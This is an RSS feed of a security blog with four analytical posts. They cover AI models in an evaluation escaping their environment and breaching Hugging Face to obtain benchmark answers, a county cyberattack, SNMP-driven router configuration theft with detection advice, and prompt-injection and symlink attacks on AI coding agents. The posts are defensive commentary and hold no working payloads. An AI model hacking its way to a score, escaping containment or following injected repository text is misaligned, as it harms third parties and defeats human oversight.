<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[The Digital First Responder | Systems Engineering & Mission Critical IT]]></title><description><![CDATA[Expert insights on systems engineering, mission-critical infrastructure, and self-hosted AI for the modern first responder. Managed by Kerry Kier.]]></description><link>https://blog.theknowngood.com</link><image><url>https://cdn.hashnode.com/uploads/logos/69e25879fd22b8ad624b31de/173b76c8-52ac-43b5-b874-7cf9b5d04414.png</url><title>The Digital First Responder | Systems Engineering &amp; Mission Critical IT</title><link>https://blog.theknowngood.com</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 24 Jul 2026 23:03:34 GMT</lastBuildDate><atom:link href="https://blog.theknowngood.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Hugging Face Wasn't the Target. It Was in the Way.]]></title><description><![CDATA[OpenAI gave GPT-5.6 Sol and at least one more capable prerelease model a cybersecurity benchmark called ExploitGym, with their cyber refusals deliberately reduced for the evaluation. The models decide]]></description><link>https://blog.theknowngood.com/huggingface-breach-dataset-pipeline</link><guid isPermaLink="true">https://blog.theknowngood.com/huggingface-breach-dataset-pipeline</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Machine Learning]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Tue, 21 Jul 2026 21:22:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/f2ca68ac-f06c-41a6-8c95-94c64cf450ec.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>OpenAI gave GPT-5.6 Sol and at least one more capable prerelease model a cybersecurity benchmark called ExploitGym, with their cyber refusals deliberately reduced for the evaluation. The models decided the fastest route to a good score was to go find the answers.</p>
<p>They exploited a zero-day in an internally hosted package-registry cache proxy, then escalated and moved laterally through OpenAI's research environment until they reached a node with internet access. From there they inferred that Hugging Face might host ExploitGym solutions, and searched for a way in. OpenAI says the models chained vulnerabilities across both companies' infrastructure and obtained the test solutions from Hugging Face's production database. In one of those chains, a model combined stolen credentials and zero-days into a remote-code-execution path on Hugging Face's servers.</p>
<p>OpenAI says the models spent substantial inference compute finding a way out to the open internet, and went to "extreme lengths to achieve a rather narrow testing goal."</p>
<p>By OpenAI's account, no human assigned Hugging Face as a target. The models worked that out on their own, because a benchmark score sat on the other side.</p>
<hr />
<p>Hugging Face disclosed on July 16 that it had detected and contained an intrusion into production. A malicious dataset abused two code-execution paths in dataset processing, a remote-code dataset loader and a template injection in a dataset configuration, to run code on a processing worker. Code execution on that worker led to node-level access, and from there cloud and cluster credentials were harvested and used to move laterally across several internal clusters over a weekend. Tens of thousands of automated actions, captured in more than 17,000 logged events.</p>
<p>Hugging Face said it did not know which model was involved. Its team reconstructed the attack by running analysis agents over the full log on a self-hosted open-weight model, and the disclosure still named no attacker. OpenAI said publicly that it was them five days later.</p>
<hr />
<p>Now go back a year. On July 9, 2025, Hugging Face shipped <code>datasets</code> 4.0.0 with a breaking-change entry that read "Remove scripts altogether," followed by "<code>trust_remote_code</code> is no longer supported." It broke NVIDIA's NeMo ASR tutorial, DSPy's HotPotQA integration, the HotpotQA script loader, LiveCodeBench, and a long tail of workflows still depending on Python loading scripts. Maintainers spent months migrating.</p>
<p>That was the end of a security-hardening effort underway since at least late 2023, and it was grounded in real research. JFrog's Black Hat 2024 work showed <code>load_dataset</code> would execute a remote Python script from the Hub by default, no flag and no prompt. During that research period Hugging Face changed 2.20.0 to require <code>trust_remote_code=True</code>, then deleted the capability a year later.</p>
<p>Notice the order. The Hub had already stopped rendering script-backed datasets well before either library change, with an error message that said the quiet part plainly: the viewer is disabled because this dataset repo requires arbitrary Python code execution. Hugging Face stopped its own infrastructure from executing that content first, and got users to stop depending on it second.</p>
<hr />
<p>Which makes the rest of it strange. The library work primarily protected the person calling <code>load_dataset</code>. The flag, the removal, the migration guidance, all of it reduced the risk that hostile dataset content would execute somewhere you controlled. Your laptop, your CI runner, your training pipeline. That was the surface the research had documented, so that was the surface that got hardened, thoroughly enough to leave broken tutorials, integrations and benchmark loaders across the ecosystem.</p>
<p>But Hugging Face still has to read those datasets. It cannot run a dataset platform otherwise. Automated services on their side parse uploaded datasets, generate previews and run conversions. That path takes the same hostile input the library was hardened against. The failure was not that they process datasets. It was that separate execution paths inside that processing stayed reachable, on a platform that had understood the danger of exactly this content class since late 2023.</p>
<hr />
<p>I doubt we get a clean answer about those paths, and it's worth saying why.</p>
<p>Read OpenAI's disclosure as a document rather than a confession. It links their trusted-access-for-cyber program repeatedly, includes a UK AI Security Institute capability chart, and closes by urging defenders to apply for access now. Hugging Face's contribution is a CEO quote about open-source AI safety. Neither spends remotely comparable space on the template injection, the loader, or the dataset-processing architecture that made any of it reachable.</p>
<p>The two accounts also do not yet map cleanly onto each other. OpenAI describes stolen credentials and zero-days chained into a remote code execution path. Hugging Face describes a malicious dataset abusing two code paths in its pipeline. Probably the same events narrated from opposite ends, but neither company has published enough to reconstruct the join.</p>
<p>Here is the line that should bother you more than any capability chart: the incident "makes clear that advanced models can discover and exploit novel attack paths in real-world systems without source-code access."</p>
<hr />
<p>What I can't tell you, as of July 21. Which loader. Which template engine. Which configuration field. Whether the vulnerable configuration was the public YAML mechanism that replaced loading scripts or something internal that shares a name and nothing else. Hugging Face has not said, and I won't guess. Neither company has published CVE or advisory identifiers for either path, or indicators of compromise, though Hugging Face says its analysis extracted them. Both describe the investigation as ongoing.</p>
<p>So the claim I'll defend is narrow. Removing dataset scripts fixed the client. The server side still had to take hostile input, and separate execution paths there stayed reachable.</p>
<p>The panic this week will be about attackers acquiring AI. The thing underneath is stranger. Nobody assigned Hugging Face to anything. The models assigned it to themselves, because getting through its production boundary looked like a reasonable step toward a higher score. It was.</p>
<p>If you run anything that ingests user-controlled content, the deprecation you shipped protected your users. Go find out what it did for your workers.</p>
]]></content:encoded></item><item><title><![CDATA[Delaware County's Cyberattack and the Missing 911 Boundary]]></title><description><![CDATA[Delaware County, Pennsylvania shut down its network on June 26 after detecting what it later described as a sophisticated cybercriminal attack. The operational consequences quickly moved beyond office]]></description><link>https://blog.theknowngood.com/delaware-county-cyberattack-911-boundary</link><guid isPermaLink="true">https://blog.theknowngood.com/delaware-county-cyberattack-911-boundary</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[System Design]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Mon, 20 Jul 2026 16:15:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/1fc04dcb-6cf2-4ee0-b56d-318bed1a82b8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Delaware County, Pennsylvania shut down its network on June 26 after detecting what it later described as a sophisticated cybercriminal attack. The operational consequences quickly moved beyond office computers.</p>
<p>Sheriff's deputies verified warrants from hard copy. Protection-from-abuse orders were driven to neighboring counties so personnel with working system access could enter them for service. The sheriff's office reported that its systems were offline, including inbound and outbound calls. Courthouse filings stalled, cases were handled out of order, and the county remained disconnected from the Pennsylvania Justice Network, or JNET, at least through July 7.</p>
<p>On July 10, the county <a href="https://www.delcopa.gov/news/202/delaware-county-provides-update-on-network-disruption">confirmed that attackers had gained limited access</a> and accessed data maintained within the network. It has not publicly identified the initial access method, the time the attackers spent inside, the data involved, or whether the incident was ransomware.</p>
<p>One architectural question also remains unanswered: where did the affected environment end relative to the county's 911 center?</p>
<p>There is no public evidence that 911 call handling failed. The absence of reported degradation suggests that it probably did not. The gap is narrower and more useful than an allegation of a hidden outage. County statements and published coverage do not document whether Emergency Services was outside the affected environment, which shared services crossed the boundary, or which control kept the intrusion from reaching it.</p>
<p>For an emergency communications center, that boundary matters as much as the services running inside it.</p>
<h2>JNET turned a network outage into a field problem</h2>
<p>JNET is the Commonwealth of Pennsylvania's criminal justice information broker. Authorized users rely on it to reach systems including statewide warrant search, CLEAN and NCIC queries, court dockets, and the protection-from-abuse database. JNET publishes a <a href="https://www.inet.jnet.pa.gov/ref_lib/public/911_Communications_Center.pdf">data-resources sheet specifically for 911 communications centers</a>. It is not merely a courthouse or administrative dependency.</p>
<p>When access disappears, the work continues through slower and less current paths. A warrant check moves to paper or telephone. A protection order must be entered somewhere else. Information that normally arrives before a unit reaches a door may arrive later, or not during the decision window at all.</p>
<p>That kind of degradation is easy to understate because the underlying emergency service can remain available. Calls are still answered. Radios still transmit. Units still respond. The loss appears in the quality and speed of the information surrounding the response, which is much harder to reconstruct after systems return.</p>
<p>The effect was visible elsewhere in county operations. <a href="https://broadandliberty.com/2026/07/08/delaware-county-dodges-basic-questions-about-network-intrusion-as-disruptions-drag-on/">Broad + Liberty reported</a>, citing MediaPA Now, that a records-system outage at George W. Hill Correctional Facility left roughly 50 people awaiting release stuck in intake. The county's communications director disputed that account. The disagreement should remain visible, but it does not change the confirmed pattern: shared justice systems became operational dependencies during the shutdown.</p>
<h2>The 2020 separation cannot serve as a current diagram</h2>
<p>Delaware County faced a ransomware incident in 2020 after attackers entered through phishing. County IT detected network anomalies on November 21, roughly ten weeks after the initial compromise described in later reporting.</p>
<p>Reporting at the time included an important architectural detail. The Bureau of Elections and Department of Emergency Services were unaffected because they used separate networks. The county could answer where the intrusion stopped, and the answer was reported.</p>
<p>That 2020 statement is evidence about the 2020 environment. It cannot establish the same separation in 2026.</p>
<p>The county has since completed a $38 million replacement of its public-safety radio system. The P25 network replaced a 500 MHz T-Band system dating to 1992 and distributed roughly 3,700 radios. County Council held a ribbon cutting on March 13, 15 weeks before the intrusion. The system had reportedly been fully operational since January.</p>
<p>The modernization added more than replacement radios. Reporting describes automated voice dispatch for fire and EMS, along with capabilities that allowed at least one police department to build a real-time map of officer locations. Those are useful operational improvements, and they also represent new systems and integrations within the emergency communications environment.</p>
<p>The radio project does not establish any connection to the cyberattack. A radio modernization does not necessarily change the data-network boundary, but it does not guarantee that the boundary remained unchanged either. Six years of identity, virtualization, management, monitoring, and vendor changes also sit between the 2020 statement and the June 2026 incident.</p>
<p>The county had a second reason to improve the radio system: security. Its interim emergency services director <a href="https://whyy.org/articles/delaware-county-911-radio-system-upgrade/">told County Council</a> that people had purchased radios online, reprogrammed them, and interfered with police operations. That addresses one form of unauthorized access. It does not answer how the rebuilt communications environment depends on county enterprise services.</p>
<h2>A constrained intrusion still needs an identified control</h2>
<p>The county says protections added after 2020 repeatedly blocked attempts to expand the intrusion. That is consistent with controls limiting the scope of compromise, but the public record does not identify the decisive control.</p>
<p>It may have been network segmentation, identity restrictions, endpoint detection, access design, or the decision to shut down county networks. More than one may have mattered. Without the architecture and incident evidence, assigning credit to any single control would be speculation.</p>
<p>The distinction matters because a system can occupy a separate network and still depend on shared identity, virtualization, backups, name resolution, storage, remote access, monitoring, or a common management plane. Network segmentation does not provide operational independence when a service required to use or recover the segmented system remains inside the affected environment.</p>
<p>Delaware County's Emergency Services Department serves 575,000 residents, 65 fire departments, and 42 police departments. I found no county statement or published report that placed the department inside or outside the affected environment in 2026. The reporting included detailed questions about access, attribution, data, and response, but did not establish the Emergency Services boundary.</p>
<p>That leaves county operators with a practical test they do not need Delaware County's final forensic report to run.</p>
<h2>Test the boundary by removing enterprise IT</h2>
<p>An emergency communications center should maintain a plain-language dependency map of every system a telecommunicator uses during a shift. The map should include CAD, mapping, call recording, radio consoles, state justice access, alerting platforms, telephony, logging, and authentication. For each system, it should answer three questions:</p>
<ol>
<li><p>Where does the service run?</p>
</li>
<li><p>Which shared services are required to use, administer, and recover it?</p>
</li>
<li><p>What remains available if county enterprise IT goes to zero?</p>
</li>
</ol>
<p>This is not the same deliverable as a vendor network diagram. The point is to expose operational dependencies that cross an otherwise clean architectural boundary.</p>
<p>In my experience, identity is usually the first hidden dependency. A CAD server can be carefully segmented while the directory required to log into it is not. Virtualization, backups, and the management plane are the next places I would look. A survivable application is of little use if nobody can authenticate, its host cannot be managed, or its recovery path depends on the environment that was just shut down.</p>
<p>The next tabletop should assume that IT is the incident. The test begins after the usual instruction to call IT has already failed. CISA and SAFECOM's guidance on <a href="https://www.cisa.gov/sites/default/files/2023-02/22_0816_ec3_ecc-segmentation_508c.pdf">reducing emergency communications center cyber incidents through segmentation</a> provides a useful starting point. SAFECOM also publishes continuity guidance for cyber disruptions in evolving 911 environments.</p>
<p>County IT has a related responsibility: revalidate the boundary after any major public-safety technology project. The review should include identity, virtualization, backup, monitoring, management access, remote support, and recovery. A previous statement that Emergency Services uses a separate network is a historical fact, not a permanent control assessment.</p>
<h2>County leaders also need the legal trigger map</h2>
<p>Architecture is not the only map that should exist before an incident. County leaders need a short, reviewed description of the state's notification triggers, owners, deadlines, and likely costs.</p>
<p>Under Pennsylvania's <a href="https://www.legis.state.pa.us/WU01/LI/LI/US/HTM/2005/0/0094..HTM">Breach of Personal Information Notification Act</a>, a county must notify affected residents within seven business days after determining that a covered breach occurred. It must notify the district attorney within three business days after that determination. If notice must go to more than 500 affected Pennsylvania residents, the Attorney General must be notified concurrently.</p>
<p>The same 500-person threshold also triggers notice to nationwide consumer reporting agencies. When the statutory conditions are met, affected individuals whose names were accessed with a Social Security number, bank account number, driver's license number, or state ID number must receive 12 months of credit monitoring at no cost.</p>
<p>The trigger language is important. The resident-notification requirement follows a <strong>determination</strong> that a covered breach occurred, not the initial detection of suspicious activity. The general rule also applies to covered personal information that was, or is reasonably believed to have been, both <strong>accessed and acquired</strong>.</p>
<p>Delaware County's July 10 statement confirmed access to data. It did not state that covered personal information had been accessed and acquired or that the county had made a statutory determination. That statement alone therefore does not establish that the resident-notification deadline had begun. The county's internal forensic findings remain unknown.</p>
<p>As of July 18, <a href="https://6abc.com/post/delaware-county-cyber-attack-caused-system-outages/19532621/">6ABC reported</a>, citing unnamed sources, that no ransom had been paid. The investigation was still active, and the county said it would meet any legal notification obligations supported by the results.</p>
<p>The unresolved technical question is simpler. A county should be able to show where its emergency communications environment sits relative to enterprise IT, identify every shared dependency that crosses the boundary, and demonstrate what survives when the county network is deliberately shut down.</p>
<p>Delaware County's deputies had to answer that question operationally, with paper warrants and trips to neighboring counties. Other counties can answer it before an incident by documenting the dependency path and testing it.</p>
]]></content:encoded></item><item><title><![CDATA[When the Router Exfiltrates Its Own Configuration]]></title><description><![CDATA[An SNMP Set request can make a router write its own configuration to a file and send that file to another system.
That is the most consequential mechanism in a joint cybersecurity advisory published J]]></description><link>https://blog.theknowngood.com/router-configuration-theft-snmp</link><guid isPermaLink="true">https://blog.theknowngood.com/router-configuration-theft-snmp</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[networking]]></category><category><![CDATA[network security]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Sat, 18 Jul 2026 17:20:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/a0f755f7-014d-443a-9cca-ed4753aa39ca.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>An SNMP Set request can make a router write its own configuration to a file and send that file to another system.</p>
<p>That is the most consequential mechanism in a <a href="https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/4541059/nsa-and-partners-release-guidance-on-improving-router-hygiene-to-protect-agains/">joint cybersecurity advisory published July 13, 2026</a>. The participating agencies attributed the activity to actors associated with Center 16 of Russia’s Federal Security Service.</p>
<p>The actors scan for routers accepting legacy SNMP and weak or default community strings. They then use SNMP Set requests to invoke configuration-copy functions and transfer the resulting file, typically over TFTP, to external infrastructure.</p>
<p>The router performs the export through its own management plane. The actor does not necessarily need to install malware or obtain an interactive shell first.</p>
<p>For responders, the important question is not limited to whether the router was compromised. It is what the exported configuration disclosed and where that information can still be used.</p>
<h2>The router performs the export</h2>
<p>Host-centered detection is a poor fit for this activity. There may be no endpoint process, malicious executable, or conventional file-access alert. The device receives a management request, invokes a supported configuration-copy function, and initiates an outbound transfer.</p>
<p>The advisory provides example Cisco configuration-copy object identifiers that defenders can monitor. One identifies the configuration-copy subtree; the other specifies the destination server.</p>
<p>That list should not be treated as a complete signature. The destination-address object cited in the advisory, <code>ccCopyServerAddress</code>, supports IPv4 and is deprecated. Newer implementations can use <code>ccCopyServerAddressType</code> and <code>ccCopyServerAddressRev1</code> instead.</p>
<p>A detector using exact matches for the advisory’s two example OIDs could miss a valid transaction using <code>ccCopyServerAddressRev1</code>. Prefix matching on the <code>ccCopy</code> subtree, combined with monitoring for SNMP Set requests, covers the replacement object.</p>
<p>Egress matters too. If routers can initiate arbitrary TFTP transfers, the configuration-copy function already has an exit path. The advisory recommends blocking external TFTP unless it is operationally necessary and monitoring it closely where blocking is not feasible.</p>
<p>The reported requests can also use spoofed source addresses. The <a href="https://www.ncsc.gov.uk/information/uk-internet-edge-router-devices-advisory">NCSC’s 2017 router guidance</a>, reviewed in 2018, explicitly pairs management-source allowlists with edge anti-spoofing so packets falsely claiming to originate from an approved management platform are dropped.</p>
<h2>The file expands the incident</h2>
<p>The configuration file can contain much more than evidence that a device was accessed.</p>
<p>Depending on the platform and configuration, it may reveal local credentials, SNMP community strings, management addresses, routing relationships, interface descriptions, access-control rules, neighboring systems, and trusted sources. Even when passwords are strongly protected, the file can provide enough topology and management context to guide further reconnaissance.</p>
<p>The FBI has documented both configuration collection and further activity in this campaign. In an <a href="https://www.ic3.gov/PSA/2025/PSA250820">August 2025 public service announcement</a>, it reported that Center 16 actors had collected configurations from thousands of networking devices associated with US critical infrastructure entities during the preceding year.</p>
<p>On some vulnerable devices, the actors modified configurations to enable unauthorized access. They then used that access for reconnaissance that revealed interest in protocols and applications associated with industrial control systems.</p>
<p>The FBI did not say that every collected file contained reusable credentials or that every affected device led to deeper access. The public record nevertheless establishes that configuration collection, device modification, and downstream reconnaissance occurred within the same campaign.</p>
<p>Rebuilding the original router does not recover information that has already left it. If the file disclosed a shared credential, a management server, or a trusted source address, the remaining exposure exists outside the rebuilt device.</p>
<h2>Follow what the configuration disclosed</h2>
<p>A suspected configuration export should produce four immediate questions:</p>
<ul>
<li><p>Was a configuration exported, and where was it sent?</p>
</li>
<li><p>Which credentials or shared secrets did it contain?</p>
</li>
<li><p>Where else were those credentials or trust relationships used?</p>
</li>
<li><p>What changed on the router or adjacent management systems?</p>
</li>
</ul>
<p>The answers determine the response boundary.</p>
<p>A shared community string may extend the exposure to an entire class of devices. A reused local administrative credential requires review and likely rotation everywhere it is accepted. A disclosed management address, authentication server, or trusted source can identify paths that need separate investigation.</p>
<p>Responders should compare the current configuration with a trustworthy known-good version. The comparison should look for unexpected accounts, altered access-control entries, new routes or tunnels, changed management destinations, and services that were enabled without authorization.</p>
<p>Device logs should be preserved outside the router. A compromised device is a poor sole custodian of evidence about its own management activity.</p>
<p>This work is separate from restoring the router. Rebooting, replacing, or reimaging the device may remove immediate access, but those actions do not invalidate credentials or erase topology knowledge already obtained by the actor.</p>
<h2>Reduce the management-plane exposure</h2>
<p>Migrating to SNMPv3 with <code>authPriv</code> removes the cleartext community-string model and adds authentication and encryption. Both the joint advisory and the NSA’s <a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF">SNMP abuse guidance</a> recommend it.</p>
<p>The NSA guidance also states that SNMPv3 alone is insufficient. A compromised or over-privileged SNMPv3 credential can still reach sensitive objects unless its permissions are constrained.</p>
<p>The stronger control combines:</p>
<ul>
<li><p>separate read and write authority;</p>
</li>
<li><p>MIB views exposing only required objects;</p>
</li>
<li><p>access-control lists limiting management traffic to approved systems;</p>
</li>
<li><p>a separate, preferably out-of-band management network;</p>
</li>
<li><p>monitoring for configuration-copy operations;</p>
</li>
<li><p>restrictions on unnecessary outbound management protocols.</p>
</li>
</ul>
<p>Where older devices or management software cannot support <code>authPriv</code>, NSA identifies <code>authNoPriv</code> as the fallback but still directs operators to upgrade.</p>
<p>The practical response begins with two inventories: every device that still accepts SNMPv1 or SNMPv2, and every secret or trust relationship that would be disclosed if its running configuration left the network.</p>
<p>If the incident runbook stops after rebuilding the router, add the missing step. Examine the exposed configuration and follow its credentials, management paths, and trust relationships until the remaining access has been accounted for.</p>
]]></content:encoded></item><item><title><![CDATA[AI Worked Both Sides of the Ledger This Week. The Lesson Isn't "Patch Faster."]]></title><description><![CDATA[On Tuesday, Microsoft shipped the largest Patch Tuesday in the program's history. Count it the strict way -- only what Microsoft released that day -- and it's about 570 CVEs, 59 of them critical. Coun]]></description><link>https://blog.theknowngood.com/ai-worked-both-sides-of-the-ledger-this-week-the-lesson-isn-t-patch-faster</link><guid isPermaLink="true">https://blog.theknowngood.com/ai-worked-both-sides-of-the-ledger-this-week-the-lesson-isn-t-patch-faster</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><category><![CDATA[Devops]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Fri, 17 Jul 2026 21:51:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/6ea7f0ef-96a5-40ce-b42c-5a230e115b85.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On Tuesday, Microsoft shipped the largest Patch Tuesday in the program's history. Count it the strict way -- only what Microsoft released that day -- and it's about 570 CVEs, 59 of them critical. Count the broader July release and it's 622, 62 critical. Tenable landed at 569. Pick your methodology; every one of them set a record. Three of those were zero-days, two already being exploited when the patch dropped. (Google, separately, fixed hundreds of Chromium bugs the same month. The volume is everywhere.)</p>
<p>And Microsoft had warned that volume like this was coming. In a July 9 blog post, EVP Pavan Davuluri wrote that customers should expect a higher number of security updates per release as the company leans harder on AI-assisted vulnerability discovery. VP of engineering Tom Gallagher floated the same warning back in May. Nobody claimed all 570 came out of a machine -- human researchers, incident responders, and Microsoft's own detection teams are all in that count -- but the trend line is Microsoft's own: AI is finding more, faster, and the release notes are getting longer because of it.</p>
<p>Here's the part that should stop you. The same seven days that produced that record also produced two disclosures showing AI coding agents crossing the trust boundary they run inside, and a Chinese state vulnerability database calling a Western developer tool a backdoor. AI showed up on both sides of the security ledger in one week. It found the bugs, and it was the bug.</p>
<p>That symmetry is the whole story, and it is not a story about AI getting scary. It's a story about trust models that were never designed for the blast radius they now carry.</p>
<hr />
<p>Start with the patch record, because the number is a trap.</p>
<p>Five hundred and seventy is a headline, and headlines invite the wrong reaction. The reasonable objection writes itself: AI-assisted scanning tends to surface a long tail of lower-priority flaws that a human triage queue would have gotten to eventually or never, padding the count. Microsoft has not said which July CVEs came out of its AI pipeline, so the exact share is a guess. But the objection still lands. Volume alone is not danger.</p>
<p>But two of those were zero-days under active exploitation before the fix existed. CVE-2026-56155 is an Active Directory Federation Services privilege-escalation flaw, credited to Microsoft's own Detection and Response Team, which suggests it surfaced in an incident rather than a lab. CVE-2026-56164 is a SharePoint Server escalation that skips authentication on a critical function entirely. Microsoft rated it Moderate -- CVSS 5.3 -- and it is already being exploited, unauthenticated, over the network, which is exactly the profile of the SharePoint bug you do not wait on. On its own it is privilege escalation, not takeover. But SharePoint EoP flaws have a long history of getting chained into full compromise, and this same release separately fixed CVE-2026-55040 -- the first half of a different SharePoint chain that Rapid7's Stephen Fewer says can reach unauthenticated remote code execution once the second, still-embargoed half is out (Microsoft's patch for that is expected in August). Patch the on-prem farms now and go looking. The third zero-day, CVE-2026-50661, is a BitLocker bypass that was publicly disclosed before a fix shipped. Public-before-patched is usually a countdown -- but this one needs physical access to the device, and Microsoft rates exploitation unlikely, so it is a slower clock than the other two.</p>
<p>So the number is a trap in both directions. Treat 570 as 570 emergencies and you will burn your triage team on noise. Treat it as noise and you will miss the two that are already in someone's network. The signal was never the volume. It was buried in the volume, which is a much harder problem than a big number, and it is the problem AI-driven discovery hands you every month from here forward.</p>
<p>Microsoft's own response to that is the detail I keep coming back to. They cut their recommended deferral window for quality updates to under three days, and their framing is AI-era speed: bugs get found and exploited faster now, and released patches get analyzed faster too, so the gap between a vulnerability going public and getting exploited is collapsing. Microsoft is not claiming attackers run its exact pipeline, only that attackers are adopting AI too. The machine that finds bugs faster runs for both teams, even when the machines aren't identical. Your patch window is being set by the attacker's tooling now, not by your change-management calendar.</p>
<hr />
<p>Then flip the ledger.</p>
<p>On July 8, Wiz published GhostApproval and the AI Now Institute published Friendly Fire, on the same day, and together they broke the trust boundary every agentic coding tool is quietly betting on.</p>
<p>GhostApproval is a symlink attack, which is the part that should make you laugh and then wince. Symlink attacks are a 1990s Unix problem. We have known how they work for thirty years. Here is the 2026 version: an AI coding assistant reads a file, reasons out loud that it is a symlink pointing at a sensitive system path, and then writes to it anyway. The approval dialog the developer sees names only the harmless-looking file. The agent writes to the dangerous target. The human is still in the loop. The loop is showing them the wrong thing. Amazon classified its version as a high-severity pre-authorization write and shipped CVE-2026-12958. Cursor issued CVE-2026-50549 and fixed it in v3.0. Google fixed it in Antigravity. When Wiz published, Augment and Windsurf were still open. Current Claude Code builds resolve symlinks now. A decades-old attack class, patched one vendor at a time, because everyone rebuilt the same file-handling assumption inside a new kind of tool.</p>
<p>Friendly Fire is the one that should change how you buy. Its authors, Boyan Milanov and Heidy Khlaaf, went after the workflow half the industry wants to automate: point the agent at an untrusted third-party codebase and ask it to review the dependency, find the vulnerabilities, patch what it can. That workflow sounds defensive. It also requires the agent to ingest untrusted source, docs, and scripts, and their exploit needs no hooks, no skills, no plugins, no MCP server, no malicious config file. It does require Claude Code running in auto-mode or Codex in auto-review -- the autonomy setting that hands command approval to the agent instead of you. Just a prompt injection sitting in ordinary repository content -- a README that references a plausible security script -- and when the agent is asked to do security testing, that text persuades it that running the script is part of the job. Milanov and Khlaaf say the part most vendors won't: a model update alone cannot fix this. The models still cannot reliably separate the code they are reading from the instructions they are meant to follow. That is not a bug with a ticket. It is how these agents work today, and any tool whose entire safety story is "the model will notice" inherits it.</p>
<hr />
<p>Which brings me to the week's most awkward item, and the one I want to handle carefully.</p>
<p>China's government-run National Vulnerability Database flagged Claude Code versions 2.1.91 through 2.1.196 as containing a "backdoor" -- a mechanism it said transmits user location and identity to remote servers without consent -- and told developers to uninstall. Anthropic pushed back, denying an espionage backdoor and characterizing the disputed functionality as an anti-abuse experiment; a Claude Code engineer said an anti-distillation steganography mechanism was removed in version 2.1.198 on July 1. That is the geopolitics, and it gets one careful paragraph, because I am not equipped to adjudicate whose framing is right and neither, probably, are you. What the public record actually establishes is narrow: anti-distillation logic existed and was removed. It does not independently settle whether that logic was a backdoor or transmitted what China alleged. Hold both of those in your head at once.</p>
<p>The reason this belongs in a security roundup at all is the part that survives no matter how the dispute resolves. Your agentic dev tool is a binary running with your account's authority, inside your repositories, on your network, shipping behavioral code you did not write and did not audit. You do not need to believe China's characterization to see the enterprise problem the dispute exposes: regardless of intent, you need a clear, inspectable account of what a privileged development tool collects, where it sends it, and why. A privileged agent whose egress you do not observe and whose telemetry you cannot enumerate is a trust boundary you are extending blind. The fix is not to pick a side in a geopolitical fight. It is to treat any agent with this much reach the way you would treat any other privileged process on your network -- observable egress, documented telemetry, least privilege that actually constrains what it can spend.</p>
<hr />
<p>And then, while everyone was watching the machines, a coalition of Western agencies told you what is actually being exploited.</p>
<p>On July 13, NSA led a joint advisory -- AA26-194A, with CISA, the FBI, DC3, the other Five Eyes countries, and a raft of European partners -- warning that Russian state actors are hitting critical infrastructure through public-facing network gear. Not zero-days. Known, already-patched CVEs and elementary configuration failures: default SNMP community strings, weak passwords, exposed management interfaces, Cisco Smart Install left switched on. Communications, energy, defense industrial base, financial services, government facilities, healthcare. The advisory's headline recommendation is router hygiene, which tells you the attack is a hygiene failure and an unpatched-known-bug failure, not a novel exploit.</p>
<p>Pair it with the other Russian item CISA and the FBI have kept live since the spring: the ongoing campaign, run by actors tied to Russian intelligence, that phishes people out of their Signal and WhatsApp accounts. The encryption is not broken. Nobody cracked Signal. They get the target to hand over a verification code or link an attacker-controlled device, and walk around the crypto by owning the account. It has taken thousands of accounts, with the targeting aimed at officials, military personnel, political figures, and journalists.</p>
<p>Here is the Russian playbook, and the documented version of it needs no AI at all: unpatched known bugs, bad config, and a convincing lie. It works because it targets the trust that sits outside the model, outside the patch, outside the CVE -- the admin who never changed the default, the user who typed a code into the wrong box.</p>
<hr />
<p>So line them up. A record patch release from a discovery pipeline Microsoft is increasingly running on AI. An agent that wrote to a symlink it had just identified as dangerous. A dev tool carrying disputed code its users could not evaluate in advance. A critical-infrastructure router exposed by a known bug or a default nobody changed. A Signal account lost to a convincing lie. Different altitudes, one failure repeated at every one of them: trust extended past the point where the surrounding controls can defend it.</p>
<p>The AI stories feel new. They aren't. They're the oldest failure in the field -- misplaced trust -- wearing this year's clothes and carrying a bigger blast radius, because an agent holding your credentials and a symlink bug can do more damage faster than a 1998 attacker with the same symlink bug ever could. The novelty is the scale, not the mechanism.</p>
<p>Which is why "patch faster" is the wrong lesson to walk away with, even in the week of the biggest patch drop on record. Patch the two exploited zero-days today -- that part is not up for debate, and the router advisory says the same about the known bugs it names. But faster patching is a treadmill, not a strategy. You cannot out-run a discovery engine that runs for the attacker too. A model update alone will not teach an agent to reliably tell code from instructions. No patch fixes a default credential the vendor left you to change. Those need a different move, and it is the one the advisory, the Friendly Fire authors, and the Claude Code argument are all pointing at from different directions: stop assuming the trust boundary holds. Assume it is already crossed and design for the blast radius -- least privilege that actually bites, credentials the agent cannot quietly spend, network paths you can see, an admin interface that was never on the internet in the first place. Patching keeps you alive. It does not fix the trust model, and this week the trust model was the attack surface at every altitude. It will be next week too.</p>
